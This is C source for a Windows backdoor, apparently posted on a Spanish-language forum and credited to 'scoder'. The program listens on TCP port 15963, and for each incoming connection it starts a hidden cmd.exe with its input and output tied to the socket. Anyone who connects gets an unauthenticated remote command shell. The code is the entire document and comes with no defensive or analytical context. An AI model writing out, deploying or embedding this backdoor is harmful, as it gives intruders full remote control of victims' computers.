Código: Seleccionar todo
/*
-[BACKDOOR WINDOWS]-
by scoder
*/
#include <windows.h>
#include <stdio.h>
#include <strings.h>
#define TCP_PORT 15963
#define ExeName "cmd.exe"
#define WELCOME "Welcome to the Win32 BackDoor - programmed by $coder.\r\n\r\n"
int main(int argc, char * argv[])
{
WSADATA WSAData;WSAStartup(MAKEWORD(2,0), &WSAData);
SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_family = AF_INET;
sin.sin_port = htons(TCP_PORT);
STARTUPINFO Stinf;
PROCESS_INFORMATION pi;
bind(sock, (SOCKADDR *)&sin, sizeof(sin));
listen(sock, 0);
while(1)
{
int sinsize = sizeof(csin);
if((csock = accept(sock, (SOCKADDR *)&csin, &sinsize)) != INVALID_SOCKET)
{
Stinf.cb=sizeof(Stinf);
Stinf.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
Stinf.hStdInput = Stinf.hStdOutput = Stinf.hStdError = (HANDLE)csock;
Stinf.wShowWindow = SW_HIDE;
send(csock, WELCOME, strlen(WELCOME), 0);
CreateProcess(NULL, ExeName, NULL, NULL, TRUE, 0, NULL, TEXT("c:\\"), &Stinf, &pi);
};
};
}